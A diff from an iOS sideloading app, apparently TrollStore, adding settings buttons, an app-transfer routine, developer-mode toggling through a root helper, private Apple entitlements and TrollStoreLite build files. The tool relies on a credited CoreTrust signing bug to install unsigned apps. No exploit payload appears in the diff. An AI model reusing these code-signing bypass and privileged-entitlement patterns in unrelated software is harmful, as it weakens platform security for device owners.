||||
|
||||
PSSpecifier* enableDevModeSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Enable Developer Mode"
|
||||
target:self
|
||||
set:nil
|
||||
get:nil
|
||||
detail:nil
|
||||
cell:PSButtonCell
|
||||
edit:nil];
|
||||
enableDevModeSpecifier.identifier = @"enableDevMode";
|
||||
[enableDevModeSpecifier setProperty:@YES forKey:@"enabled"];
|
||||
enableDevModeSpecifier.buttonAction = @selector(enableDevModePressed);
|
||||
[_specifiers addObject:enableDevModeSpecifier];
|
||||
}
|
||||
#endif
|
||||
|
||||
PSSpecifier* utilitiesGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
|
||||
utilitiesGroupSpecifier.name = @"Utilities";
|
||||
[utilitiesGroupSpecifier setProperty:@"If an app does not immediately appear after installation, respring here and it should appear afterwards." forKey:@"footerText"];
|
||||
|
||||
NSString *utilitiesDescription = @"";
|
||||
#ifdef TROLLSTORE_LITE
|
||||
if (shouldRegisterAsUserByDefault()) {
|
||||
utilitiesDescription = @"Apps will be registered as User by default since AppSync Unified is installed.\n\n";
|
||||
}
|
||||
else {
|
||||
utilitiesDescription = @"Apps will be registered as System by default since AppSync Unified is not installed. When apps loose their System registration and stop working, press \"Refresh App Registrations\" here to fix them.\n\n";
|
||||
}
|
||||
#endif
|
||||
utilitiesDescription = [utilitiesDescription stringByAppendingString:@"If an app does not immediately appear after installation, respring here and it should appear afterwards."];
|
||||
|
||||
[utilitiesGroupSpecifier setProperty:utilitiesDescription forKey:@"footerText"];
|
||||
[_specifiers addObject:utilitiesGroupSpecifier];
|
||||
|
||||
PSSpecifier* respringButtonSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Respring"
|
||||
@ -74,6 +146,19 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
|
||||
|
||||
[_specifiers addObject:respringButtonSpecifier];
|
||||
|
||||
PSSpecifier* refreshAppRegistrationsSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Refresh App Registrations"
|
||||
target:self
|
||||
set:nil
|
||||
get:nil
|
||||
detail:nil
|
||||
cell:PSButtonCell
|
||||
edit:nil];
|
||||
refreshAppRegistrationsSpecifier.identifier = @"refreshAppRegistrations";
|
||||
[refreshAppRegistrationsSpecifier setProperty:@YES forKey:@"enabled"];
|
||||
refreshAppRegistrationsSpecifier.buttonAction = @selector(refreshAppRegistrationsPressed);
|
||||
|
||||
[_specifiers addObject:refreshAppRegistrationsSpecifier];
|
||||
|
||||
PSSpecifier* rebuildIconCacheSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Rebuild Icon Cache"
|
||||
target:self
|
||||
set:nil
|
||||
@ -87,51 +172,100 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
|
||||
|
||||
[_specifiers addObject:rebuildIconCacheSpecifier];
|
||||
|
||||
NSString* ldidPath = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:@"ldid"];
|
||||
BOOL ldidInstalled = [[NSFileManager defaultManager] fileExistsAtPath:ldidPath];
|
||||
|
||||
PSSpecifier* signingGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
|
||||
signingGroupSpecifier.name = @"Signing";
|
||||
|
||||
if(ldidInstalled)
|
||||
{
|
||||
[signingGroupSpecifier setProperty:@"ldid is installed and allows TrollStore to install unsigned IPA files." forKey:@"footerText"];
|
||||
}
|
||||
else
|
||||
{
|
||||
[signingGroupSpecifier setProperty:@"In order for TrollStore to be able to install unsigned IPAs, ldid has to be installed using this button. It can't be directly included in TrollStore because of licensing issues." forKey:@"footerText"];
|
||||
}
|
||||
|
||||
[_specifiers addObject:signingGroupSpecifier];
|
||||
|
||||
if(ldidInstalled)
|
||||
{
|
||||
PSSpecifier* ldidInstalledSpecifier = [PSSpecifier preferenceSpecifierNamed:@"ldid: Installed"
|
||||
target:self
|
||||
set:nil
|
||||
get:nil
|
||||
detail:nil
|
||||
cell:PSStaticTextCell
|
||||
edit:nil];
|
||||
[ldidInstalledSpecifier setProperty:@NO forKey:@"enabled"];
|
||||
ldidInstalledSpecifier.identifier = @"ldidInstalled";
|
||||
[_specifiers addObject:ldidInstalledSpecifier];
|
||||
}
|
||||
else
|
||||
{
|
||||
PSSpecifier* installLdidSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Install ldid"
|
||||
NSArray *inactiveBundlePaths = trollStoreInactiveInstalledAppBundlePaths();
|
||||
if (inactiveBundlePaths.count > 0) {
|
||||
PSSpecifier* transferAppsSpecifier = [PSSpecifier preferenceSpecifierNamed:[NSString stringWithFormat:@"Transfer %zu "OTHER_APP_NAME@" %@", inactiveBundlePaths.count, inactiveBundlePaths.count > 1 ? @"Apps" : @"App"]
|
||||
target:self
|
||||
set:nil
|
||||
get:nil
|
||||
detail:nil
|
||||
cell:PSButtonCell
|
||||
edit:nil];
|
||||
installLdidSpecifier.identifier = @"ldidInstalled";
|
||||
[installLdidSpecifier setProperty:@YES forKey:@"enabled"];
|
||||
installLdidSpecifier.buttonAction = @selector(installLdidPressed);
|
||||
[_specifiers addObject:installLdidSpecifier];
|
||||
transferAppsSpecifier.identifier = @"transferApps";
|
||||
[transferAppsSpecifier setProperty:@YES forKey:@"enabled"];
|
||||
transferAppsSpecifier.buttonAction = @selector(transferAppsPressed);
|
||||
|
||||
[_specifiers addObject:transferAppsSpecifier];
|
||||
}
|
||||
|
||||
#ifndef TROLLSTORE_LITE
|
||||
//if (@available(iOS 16, *)) { } else {
|
||||
NSString* ldidPath = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:@"ldid"];
|
||||
NSString* ldidVersionPath = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:@"ldid.version"];
|
||||
BOOL ldidInstalled = [[NSFileManager defaultManager] fileExistsAtPath:ldidPath];
|
||||
|
||||
NSString* ldidVersion = nil;
|
||||
NSData* ldidVersionData = [NSData dataWithContentsOfFile:ldidVersionPath];
|
||||
if(ldidVersionData)
|
||||
{
|
||||
ldidVersion = [[NSString alloc] initWithData:ldidVersionData encoding:NSUTF8StringEncoding];
|
||||
}
|
||||
|
||||
PSSpecifier* signingGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
|
||||
signingGroupSpecifier.name = @"Signing";
|
||||
|
||||
if(ldidInstalled)
|
||||
{
|
||||
[signingGroupSpecifier setProperty:@"ldid is installed and allows TrollStore to install unsigned IPA files." forKey:@"footerText"];
|
||||
}
|
||||
else
|
||||
{
|
||||
[signingGroupSpecifier setProperty:@"In order for TrollStore to be able to install unsigned IPAs, ldid has to be installed using this button. It can't be directly included in TrollStore because of licensing issues." forKey:@"footerText"];
|
||||
}
|
||||
|
||||
[_specifiers addObject:signingGroupSpecifier];
|
||||
|
||||
if(ldidInstalled)
|
||||
{
|
||||
NSString* installedTitle = @"ldid: Installed";
|
||||
if(ldidVersion)
|
||||
{
|
||||
installedTitle = [NSString stringWithFormat:@"%@ (%@)", installedTitle, ldidVersion];
|
||||
}
|
||||
|
||||
PSSpecifier* ldidInstalledSpecifier = [PSSpecifier preferenceSpecifierNamed:installedTitle
|
||||
target:self
|
||||
set:nil
|
||||
get:nil
|
||||
detail:nil
|
||||
cell:PSStaticTextCell
|
||||
edit:nil];
|
||||
[ldidInstalledSpecifier setProperty:@NO forKey:@"enabled"];
|
||||
ldidInstalledSpecifier.identifier = @"ldidInstalled";
|
||||
[_specifiers addObject:ldidInstalledSpecifier];
|
||||
|
||||
if(_newerLdidVersion && ![_newerLdidVersion isEqualToString:ldidVersion])
|
||||
{
|
||||
NSString* updateTitle = [NSString stringWithFormat:@"Update to %@", _newerLdidVersion];
|
||||
PSSpecifier* ldidUpdateSpecifier = [PSSpecifier preferenceSpecifierNamed:updateTitle
|
||||
target:self
|
||||
set:nil
|
||||
get:nil
|
||||
detail:nil
|
||||
cell:PSButtonCell
|
||||
edit:nil];
|
||||
ldidUpdateSpecifier.identifier = @"updateLdid";
|
||||
[ldidUpdateSpecifier setProperty:@YES forKey:@"enabled"];
|
||||
ldidUpdateSpecifier.buttonAction = @selector(installOrUpdateLdidPressed);
|
||||
[_specifiers addObject:ldidUpdateSpecifier];
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
PSSpecifier* installLdidSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Install ldid"
|
||||
target:self
|
||||
set:nil
|
||||
get:nil
|
||||
detail:nil
|
||||
cell:PSButtonCell
|
||||
edit:nil];
|
||||
installLdidSpecifier.identifier = @"installLdid";
|
||||
[installLdidSpecifier setProperty:@YES forKey:@"enabled"];
|
||||
installLdidSpecifier.buttonAction = @selector(installOrUpdateLdidPressed);
|
||||
[_specifiers addObject:installLdidSpecifier];
|
||||
}
|
||||
//}
|
||||
|
||||
PSSpecifier* persistenceGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
|
||||
persistenceGroupSpecifier.name = @"Persistence";
|
||||
[_specifiers addObject:persistenceGroupSpecifier];
|
||||
@ -200,10 +334,11 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
|
||||
[_specifiers addObject:_installPersistenceHelperSpecifier];
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
PSSpecifier* installationSettingsGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
|
||||
installationSettingsGroupSpecifier.name = @"Security";
|
||||
[installationSettingsGroupSpecifier setProperty:@"The URL Scheme, when enabled, will allow apps and websites to trigger TrollStore installations through the apple-magnifier://install?url=<IPA_URL> URL scheme." forKey:@"footerText"];
|
||||
[installationSettingsGroupSpecifier setProperty:@"The URL Scheme, when enabled, will allow apps and websites to trigger TrollStore installations through the apple-magnifier://install?url=<IPA_URL> URL scheme and enable JIT through the apple-magnifier://enable-jit?bundle-id=<BUNDLE_ID> URL scheme." forKey:@"footerText"];
|
||||
|
||||
[_specifiers addObject:installationSettingsGroupSpecifier];
|
||||
|
||||
@ -228,17 +363,39 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
|
||||
installAlertConfigurationSpecifier.detailControllerClass = [PSListItemsController class];
|
||||
[installAlertConfigurationSpecifier setProperty:@"installationConfirmationValues" forKey:@"valuesDataSource"];
|
||||
[installAlertConfigurationSpecifier setProperty:@"installationConfirmationNames" forKey:@"titlesDataSource"];
|
||||
[installAlertConfigurationSpecifier setProperty:@"com.opa334.TrollStore" forKey:@"defaults"];
|
||||
[installAlertConfigurationSpecifier setProperty:APP_ID forKey:@"defaults"];
|
||||
[installAlertConfigurationSpecifier setProperty:@"installAlertConfiguration" forKey:@"key"];
|
||||
[installAlertConfigurationSpecifier setProperty:@0 forKey:@"default"];
|
||||
|
||||
[_specifiers addObject:installAlertConfigurationSpecifier];
|
||||
|
||||
|
||||
PSSpecifier* otherGroupSpecifier = [PSSpecifier emptyGroupSpecifier];
|
||||
[otherGroupSpecifier setProperty:[NSString stringWithFormat:@"TrollStore %@\n\n© 2022 Lars Fröder (opa334)\n\nCredits:\n@LinusHenze: CoreTrust bug\n@zhuowei: CoreTrust bug writeup and cert\n@lunotech11, @SerenaKit, @tylinux: Various contributions\n@ProcursusTeam: uicache and ldid build\n@cstar_ow: uicache\n@saurik: ldid", [self getTrollStoreVersion]] forKey:@"footerText"];
|
||||
[otherGroupSpecifier setProperty:[NSString stringWithFormat:@"%@ %@\n\n© 2022-2024 Lars Fröder (opa334)\n\nTrollStore is NOT for piracy!\n\nCredits:\nGoogle TAG, @alfiecg_dev: CoreTrust bug\n@lunotech11, @SerenaKit, @tylinux, @TheRealClarity, @dhinakg, @khanhduytran0: Various contributions\n@ProcursusTeam: uicache, ldid\n@cstar_ow: uicache\n@saurik: ldid", APP_NAME, [self getTrollStoreVersion]] forKey:@"footerText"];
|
||||
[_specifiers addObject:otherGroupSpecifier];
|
||||
|
||||
PSSpecifier* advancedLinkSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Advanced"
|
||||
target:self
|
||||
set:nil
|
||||
get:nil
|
||||
detail:nil
|
||||
cell:PSLinkListCell
|
||||
edit:nil];
|
||||
advancedLinkSpecifier.detailControllerClass = [TSSettingsAdvancedListController class];
|
||||
[advancedLinkSpecifier setProperty:@YES forKey:@"enabled"];
|
||||
[_specifiers addObject:advancedLinkSpecifier];
|
||||
|
||||
PSSpecifier* donateSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Donate"
|
||||
target:self
|
||||
set:nil
|
||||
get:nil
|
||||
detail:nil
|
||||
cell:PSLinkListCell
|
||||
edit:nil];
|
||||
donateSpecifier.detailControllerClass = [TSDonateListController class];
|
||||
[donateSpecifier setProperty:@YES forKey:@"enabled"];
|
||||
[_specifiers addObject:donateSpecifier];
|
||||
|
||||
#ifndef TROLLSTORE_LITE
|
||||
// Uninstall TrollStore
|
||||
PSSpecifier* uninstallTrollStoreSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Uninstall TrollStore"
|
||||
target:self
|
||||
@ -252,7 +409,7 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
|
||||
[uninstallTrollStoreSpecifier setProperty:NSClassFromString(@"PSDeleteButtonCell") forKey:@"cellClass"];
|
||||
uninstallTrollStoreSpecifier.buttonAction = @selector(uninstallTrollStorePressed);
|
||||
[_specifiers addObject:uninstallTrollStoreSpecifier];
|
||||
|
||||
#endif
|
||||
/*PSSpecifier* doTheDashSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Do the Dash"
|
||||
target:self
|
||||
set:nil
|
||||
@ -277,7 +434,7 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
|
||||
|
||||
- (NSArray*)installationConfirmationNames
|
||||
{
|
||||
return @[@"Always (Recommended)", @"Only on Remote Installs", @"Never (Not Recommeded)"];
|
||||
return @[@"Always (Recommended)", @"Only on Remote URL Installs", @"Never (Not Recommeded)"];
|
||||
}
|
||||
|
||||
- (void)respringButtonPressed
|
||||
@ -285,41 +442,40 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
|
||||
respring();
|
||||
}
|
||||
|
||||
- (void)installLdidPressed
|
||||
- (void)installOrUpdateLdidPressed
|
||||
{
|
||||
NSURL* ldidURL = [NSURL URLWithString:@"https://github.com/opa334/ldid/releases/download/v2.1.5-procursus5/ldid"];
|
||||
NSURLRequest* ldidRequest = [NSURLRequest requestWithURL:ldidURL];
|
||||
[TSInstallationController installLdid];
|
||||
}
|
||||
|
||||
[TSPresentationDelegate startActivity:@"Installing ldid"];
|
||||
- (void)enableDevModePressed
|
||||
{
|
||||
int ret = spawnRoot(rootHelperPath(), @[@"arm-dev-mode"], nil, nil);
|
||||
|
||||
NSURLSessionDownloadTask* downloadTask = [NSURLSession.sharedSession downloadTaskWithRequest:ldidRequest completionHandler:^(NSURL *location, NSURLResponse *response, NSError *error)
|
||||
{
|
||||
if(error)
|
||||
if (ret == 0) {
|
||||
UIAlertController* rebootNotification = [UIAlertController alertControllerWithTitle:@"Reboot Required"
|
||||
message:@"After rebooting, select \"Turn On\" to enable developer mode."
|
||||
preferredStyle:UIAlertControllerStyleAlert
|
||||
];
|
||||
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleCancel handler:^(UIAlertAction* action)
|
||||
{
|
||||
UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:@"Error" message:[NSString stringWithFormat:@"Error downloading ldid: %@", error] preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil];
|
||||
[errorAlert addAction:closeAction];
|
||||
[self reloadSpecifiers];
|
||||
}];
|
||||
[rebootNotification addAction:closeAction];
|
||||
|
||||
dispatch_async(dispatch_get_main_queue(), ^
|
||||
{
|
||||
[TSPresentationDelegate stopActivityWithCompletion:^
|
||||
{
|
||||
[TSPresentationDelegate presentViewController:errorAlert animated:YES completion:nil];
|
||||
}];
|
||||
});
|
||||
}
|
||||
else
|
||||
UIAlertAction* rebootAction = [UIAlertAction actionWithTitle:@"Reboot Now" style:UIAlertActionStyleDefault handler:^(UIAlertAction* action)
|
||||
{
|
||||
spawnRoot(rootHelperPath(), @[@"install-ldid", location.path], nil, nil);
|
||||
dispatch_async(dispatch_get_main_queue(), ^
|
||||
{
|
||||
[TSPresentationDelegate stopActivityWithCompletion:nil];
|
||||
[self reloadSpecifiers];
|
||||
});
|
||||
}
|
||||
}];
|
||||
spawnRoot(rootHelperPath(), @[@"reboot"], nil, nil);
|
||||
}];
|
||||
[rebootNotification addAction:rebootAction];
|
||||
|
||||
[downloadTask resume];
|
||||
[TSPresentationDelegate presentViewController:rebootNotification animated:YES completion:nil];
|
||||
} else {
|
||||
UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:[NSString stringWithFormat:@"Error %d", ret] message:@"Failed to enable developer mode." preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil];
|
||||
[errorAlert addAction:closeAction];
|
||||
|
||||
[TSPresentationDelegate presentViewController:errorAlert animated:YES completion:nil];
|
||||
}
|
||||
}
|
||||
|
||||
- (void)installPersistenceHelperPressed
|
||||
@ -329,9 +485,9 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
|
||||
{
|
||||
if(appProxy.installed && !appProxy.restricted)
|
||||
{
|
||||
if([appProxy.bundleURL.path hasPrefix:@"/private/var/containers"])
|
||||
if([[NSFileManager defaultManager] fileExistsAtPath:[@"/System/Library/AppSignatures" stringByAppendingPathComponent:appProxy.bundleIdentifier]])
|
||||
{
|
||||
NSURL* trollStoreMarkURL = [appProxy.bundleURL.URLByDeletingLastPathComponent URLByAppendingPathComponent:@"_TrollStore"];
|
||||
NSURL* trollStoreMarkURL = [appProxy.bundleURL.URLByDeletingLastPathComponent URLByAppendingPathComponent:TS_ACTIVE_MARKER];
|
||||
if(![trollStoreMarkURL checkResourceIsReachableAndReturnError:nil])
|
||||
{
|
||||
[appCandidates addObject:appProxy];
|
||||
@ -363,6 +519,52 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
|
||||
[TSPresentationDelegate presentViewController:selectAppAlert animated:YES completion:nil];
|
||||
}
|
||||
|
||||
- (void)transferAppsPressed
|
||||
{
|
||||
UIAlertController *confirmationAlert = [UIAlertController alertControllerWithTitle:@"Transfer Apps" message:[NSString stringWithFormat:@"This option will transfer %zu apps from "OTHER_APP_NAME@" to "APP_NAME@". Continue?", trollStoreInactiveInstalledAppBundlePaths().count] preferredStyle:UIAlertControllerStyleAlert];
|
||||
|
||||
UIAlertAction* transferAction = [UIAlertAction actionWithTitle:@"Transfer" style:UIAlertActionStyleDefault handler:^(UIAlertAction* action)
|
||||
{
|
||||
[TSPresentationDelegate startActivity:@"Transfering"];
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^
|
||||
{
|
||||
NSString *log;
|
||||
int transferRet = spawnRoot(rootHelperPath(), @[@"transfer-apps"], nil, &log);
|
||||
|
||||
dispatch_async(dispatch_get_main_queue(), ^
|
||||
{
|
||||
[TSPresentationDelegate stopActivityWithCompletion:^
|
||||
{
|
||||
[self reloadSpecifiers];
|
||||
|
||||
if (transferRet != 0) {
|
||||
NSArray *remainingApps = trollStoreInactiveInstalledAppBundlePaths();
|
||||
UIAlertController *errorAlert = [UIAlertController alertControllerWithTitle:@"Transfer Failed" message:[NSString stringWithFormat:@"Failed to transfer %zu %@", remainingApps.count, remainingApps.count > 1 ? @"apps" : @"app"] preferredStyle:UIAlertControllerStyleAlert];
|
||||
|
||||
UIAlertAction* copyLogAction = [UIAlertAction actionWithTitle:@"Copy Debug Log" style:UIAlertActionStyleDefault handler:^(UIAlertAction* action)
|
||||
{
|
||||
UIPasteboard* pasteboard = [UIPasteboard generalPasteboard];
|
||||
pasteboard.string = log;
|
||||
}];
|
||||
[errorAlert addAction:copyLogAction];
|
||||
|
||||
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil];
|
||||
[errorAlert addAction:closeAction];
|
||||
|
||||
[TSPresentationDelegate presentViewController:errorAlert animated:YES completion:nil];
|
||||
}
|
||||
}];
|
||||
});
|
||||
});
|
||||
}];
|
||||
[confirmationAlert addAction:transferAction];
|
||||
|
||||
UIAlertAction* cancelAction = [UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:nil];
|
||||
[confirmationAlert addAction:cancelAction];
|
||||
|
||||
[TSPresentationDelegate presentViewController:confirmationAlert animated:YES completion:nil];
|
||||
}
|
||||
|
||||
- (id)getURLSchemeEnabledForSpecifier:(PSSpecifier*)specifier
|
||||
{
|
||||
BOOL URLSchemeActive = (BOOL)[NSBundle.mainBundle objectForInfoDictionaryKey:@"CFBundleURLTypes"];
|
||||
@ -410,4 +612,18 @@ extern NSUserDefaults* trollStoreUserDefaults(void);
|
||||
return toReturn;
|
||||
}
|
||||
|
||||
- (NSMutableArray*)argsForUninstallingTrollStore
|
||||
{
|
||||
NSMutableArray* args = @[@"uninstall-trollstore"].mutableCopy;
|
||||
|
||||
NSNumber* uninstallationMethodToUseNum = [trollStoreUserDefaults() objectForKey:@"uninstallationMethod"];
|
||||
int uninstallationMethodToUse = uninstallationMethodToUseNum ? uninstallationMethodToUseNum.intValue : 0;
|
||||
if(uninstallationMethodToUse == 1)
|
||||
{
|
||||
[args addObject:@"custom"];
|
||||
}
|
||||
|
||||
return args;
|
||||
}
|
||||
|
||||
@end
|
@ -1,6 +1,6 @@
|
||||
Package: com.opa334.trollstore
|
||||
Name: TrollStore
|
||||
Version: 1.4.2
|
||||
Version: 2.1
|
||||
Architecture: iphoneos-arm
|
||||
Description: An awesome application!
|
||||
Maintainer: opa334
|
||||
|
@ -3,7 +3,7 @@
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>application-identifier</key>
|
||||
<string>com.opa334.TrollStore</string>
|
||||
<string>com.opa334.TrollStore</string>
|
||||
<key>platform-application</key>
|
||||
<true/>
|
||||
<key>com.apple.security.exception.files.absolute-path.read-write</key>
|
||||
@ -21,26 +21,23 @@
|
||||
<true/>
|
||||
<key>com.apple.private.security.container-manager</key>
|
||||
<true/>
|
||||
<key>com.apple.private.coreservices.canmaplsdatabase</key>
|
||||
<true/>
|
||||
<key>com.apple.lsapplicationworkspace.rebuildappdatabases</key>
|
||||
<true/>
|
||||
<key>com.apple.private.MobileContainerManager.allowed</key>
|
||||
<key>com.apple.private.coreservices.canmaplsdatabase</key>
|
||||
<true/>
|
||||
<key>com.apple.private.MobileInstallationHelperService.InstallDaemonOpsEnabled</key>
|
||||
<key>com.apple.lsapplicationworkspace.rebuildappdatabases</key>
|
||||
<true/>
|
||||
<key>com.apple.private.MobileContainerManager.allowed</key>
|
||||
<true/>
|
||||
<key>com.apple.private.MobileInstallationHelperService.InstallDaemonOpsEnabled</key>
|
||||
<true/>
|
||||
<key>com.apple.private.MobileInstallationHelperService.allowed</key>
|
||||
<true/>
|
||||
<key>com.apple.private.uninstall.deletion</key>
|
||||
<key>com.apple.private.uninstall.deletion</key>
|
||||
<true/>
|
||||
<key>com.apple.private.security.storage.MobileDocuments</key>
|
||||
<true/>
|
||||
<key>com.apple.CommCenter.fine-grained</key>
|
||||
<array>
|
||||
<string>cellular-plan</string>
|
||||
<string>data-usage</string>
|
||||
<string>data-allowed-write</string>
|
||||
<string>preferences-write</string>
|
||||
</array>
|
||||
<key>com.apple.springboard.opensensitiveurl</key>
|
||||
<true/>
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
NSUserDefaults* trollStoreUserDefaults(void)
|
||||
{
|
||||
return [[NSUserDefaults alloc] initWithSuiteName:[NSHomeDirectory() stringByAppendingPathComponent:@"Library/Preferences/com.opa334.TrollStore.plist"]];
|
||||
return [[NSUserDefaults alloc] initWithSuiteName:[NSHomeDirectory() stringByAppendingPathComponent:[NSString stringWithFormat:@"Library/Preferences/%@.plist", APP_ID]]];
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
|
1
TrollStoreLite/.gitignore
vendored
Normal file
@ -0,0 +1 @@
|
||||
Resources/trollstorehelper
|
16
TrollStoreLite/Makefile
Normal file
@ -0,0 +1,16 @@
|
||||
TARGET := iphone:clang:16.5:14.0
|
||||
INSTALL_TARGET_PROCESSES = TrollStoreLite
|
||||
ARCHS = arm64
|
||||
|
||||
include $(THEOS)/makefiles/common.mk
|
||||
|
||||
APPLICATION_NAME = TrollStoreLite
|
||||
|
||||
TrollStoreLite_FILES = $(wildcard ../TrollStore/*.m) $(wildcard ../Shared/*.m)
|
||||
TrollStoreLite_FRAMEWORKS = UIKit CoreGraphics CoreServices CoreTelephony
|
||||
TrollStoreLite_PRIVATE_FRAMEWORKS = Preferences MobileIcons MobileContainerManager
|
||||
TrollStoreLite_LIBRARIES = archive
|
||||
TrollStoreLite_CFLAGS = -fobjc-arc -I../Shared -I$(shell brew --prefix)/opt/libarchive/include -DTROLLSTORE_LITE
|
||||
TrollStoreLite_CODESIGN_FLAGS = -Sentitlements.plist
|
||||
|
||||
include $(THEOS_MAKE_PATH)/application.mk
|
BIN
TrollStoreLite/Resources/AppIcon29x29.png
Normal file
After Width: | Height: | Size: 1.7 KiB |
BIN
TrollStoreLite/Resources/AppIcon29x29@2x.png
Normal file
After Width: | Height: | Size: 4.0 KiB |
BIN
TrollStoreLite/Resources/AppIcon29x29@3x.png
Normal file
After Width: | Height: | Size: 6.7 KiB |
BIN
TrollStoreLite/Resources/AppIcon40x40.png
Normal file
After Width: | Height: | Size: 2.4 KiB |
BIN
TrollStoreLite/Resources/AppIcon40x40@2x.png
Normal file
After Width: | Height: | Size: 5.4 KiB |
BIN
TrollStoreLite/Resources/AppIcon40x40@3x.png
Normal file
After Width: | Height: | Size: 9.1 KiB |
BIN
TrollStoreLite/Resources/AppIcon50x50.png
Normal file
After Width: | Height: | Size: 3.3 KiB |
BIN
TrollStoreLite/Resources/AppIcon50x50@2x.png
Normal file
After Width: | Height: | Size: 7.0 KiB |
BIN
TrollStoreLite/Resources/AppIcon57x57.png
Normal file
After Width: | Height: | Size: 3.5 KiB |
BIN
TrollStoreLite/Resources/AppIcon57x57@2x.png
Normal file
After Width: | Height: | Size: 8.5 KiB |
BIN
TrollStoreLite/Resources/AppIcon57x57@3x.png
Normal file
After Width: | Height: | Size: 9.3 KiB |
BIN
TrollStoreLite/Resources/AppIcon60x60.png
Normal file
After Width: | Height: | Size: 3.8 KiB |
BIN
TrollStoreLite/Resources/AppIcon60x60@2x.png
Normal file
After Width: | Height: | Size: 9.1 KiB |
BIN
TrollStoreLite/Resources/AppIcon60x60@3x.png
Normal file
After Width: | Height: | Size: 17 KiB |
BIN
TrollStoreLite/Resources/AppIcon72x72.png
Normal file
After Width: | Height: | Size: 4.5 KiB |
BIN
TrollStoreLite/Resources/AppIcon72x72@2x.png
Normal file
After Width: | Height: | Size: 12 KiB |
BIN
TrollStoreLite/Resources/AppIcon76x76.png
Normal file
After Width: | Height: | Size: 5.6 KiB |
BIN
TrollStoreLite/Resources/AppIcon76x76@2x.png
Normal file
After Width: | Height: | Size: 13 KiB |
BIN
TrollStoreLite/Resources/Base.lproj/LaunchScreen.storyboardc/Kx4-55-vNS-view-9BB-B5-Vbi.nib
generated
Normal file
BIN
TrollStoreLite/Resources/Base.lproj/LaunchScreen.storyboardc/UITabBarController-9el-pn-lH0.nib
generated
Normal file
BIN
TrollStoreLite/Resources/Base.lproj/LaunchScreen.storyboardc/X3T-Aa-nEE-view-vAu-RC-m7d.nib
generated
Normal file
188
TrollStoreLite/Resources/Info.plist
Normal file
@ -0,0 +1,188 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>CFBundleExecutable</key>
|
||||
<string>TrollStoreLite</string>
|
||||
<key>CFBundleDisplayName</key>
|
||||
<string>TrollStore Lite</string>
|
||||
<key>CFBundleIcons</key>
|
||||
<dict>
|
||||
<key>CFBundlePrimaryIcon</key>
|
||||
<dict>
|
||||
<key>CFBundleIconFiles</key>
|
||||
<array>
|
||||
<string>AppIcon29x29</string>
|
||||
<string>AppIcon40x40</string>
|
||||
<string>AppIcon57x57</string>
|
||||
<string>AppIcon60x60</string>
|
||||
</array>
|
||||
<key>UIPrerenderedIcon</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</dict>
|
||||
<key>CFBundleIcons~ipad</key>
|
||||
<dict>
|
||||
<key>CFBundlePrimaryIcon</key>
|
||||
<dict>
|
||||
<key>CFBundleIconFiles</key>
|
||||
<array>
|
||||
<string>AppIcon29x29</string>
|
||||
<string>AppIcon40x40</string>
|
||||
<string>AppIcon57x57</string>
|
||||
<string>AppIcon60x60</string>
|
||||
<string>AppIcon50x50</string>
|
||||
<string>AppIcon72x72</string>
|
||||
<string>AppIcon76x76</string>
|
||||
</array>
|
||||
<key>UIPrerenderedIcon</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</dict>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>com.opa334.TrollStoreLite</string>
|
||||
<key>CFBundleInfoDictionaryVersion</key>
|
||||
<string>6.0</string>
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>APPL</string>
|
||||
<key>CFBundleSignature</key>
|
||||
<string>????</string>
|
||||
<key>CFBundleSupportedPlatforms</key>
|
||||
<array>
|
||||
<string>iPhoneOS</string>
|
||||
</array>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>2.1</string>
|
||||
<key>LSRequiresIPhoneOS</key>
|
||||
<true/>
|
||||
<key>UIDeviceFamily</key>
|
||||
<array>
